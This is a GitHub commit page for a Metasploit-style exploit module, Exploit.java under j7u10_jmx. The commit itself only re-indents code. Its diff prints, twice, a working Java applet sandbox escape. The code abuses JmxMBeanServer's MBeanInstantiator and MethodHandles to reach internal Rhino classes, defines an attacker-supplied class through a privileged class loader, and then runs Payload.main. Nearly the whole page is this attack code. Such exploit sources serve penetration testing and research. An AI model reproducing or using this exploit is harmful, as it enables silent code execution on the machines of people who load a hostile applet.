Skip to content

Commit e503d59

Browse files
author
jvazquez-r7
committed
code indention for exploit.java fixed
1 parent 876d889 commit e503d59

File tree

1 file changed

+33
-33
lines changed

1 file changed

+33
-33
lines changed

external/source/exploits/j7u10_jmx/Exploit.java

Lines changed: 33 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -27,40 +27,40 @@ public void init()
2727
{
2828
try
2929
{
30-
ByteArrayOutputStream bos = new ByteArrayOutputStream();
31-
byte[] buffer = new byte[8192];
32-
int length;
30+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
31+
byte[] buffer = new byte[8192];
32+
int length;
33+
34+
// read in the class file from the jar
35+
InputStream is = getClass().getResourceAsStream("B.class");
36+
// and write it out to the byte array stream
37+
while( ( length = is.read( buffer ) ) > 0 )
38+
bos.write( buffer, 0, length );
39+
// convert it to a simple byte array
40+
buffer = bos.toByteArray();
41+
42+
JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
43+
JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
44+
MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
45+
ClassLoader a = null;
46+
Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
47+
Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
48+
MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
49+
MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
50+
MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
51+
MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
52+
MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
53+
Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
54+
MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
55+
MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
56+
MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
57+
MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
58+
Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
59+
MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
60+
MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
61+
Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
62+
localClass3.newInstance();
3363

34-
// read in the class file from the jar
35-
InputStream is = getClass().getResourceAsStream("B.class");
36-
// and write it out to the byte array stream
37-
while( ( length = is.read( buffer ) ) > 0 )
38-
bos.write( buffer, 0, length );
39-
// convert it to a simple byte array
40-
buffer = bos.toByteArray();
41-
42-
JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
43-
JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
44-
MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
45-
ClassLoader a = null;
46-
Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
47-
Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
48-
MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
49-
MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
50-
MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
51-
MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
52-
MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
53-
Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
54-
MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
55-
MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
56-
MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
57-
MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
58-
Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
59-
MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
60-
MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
61-
Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
62-
localClass3.newInstance();
63-
6464
Payload.main(null);
6565
//Runtime.getRuntime().exec("calc.exe");
6666
}

0 commit comments

Comments
 (0)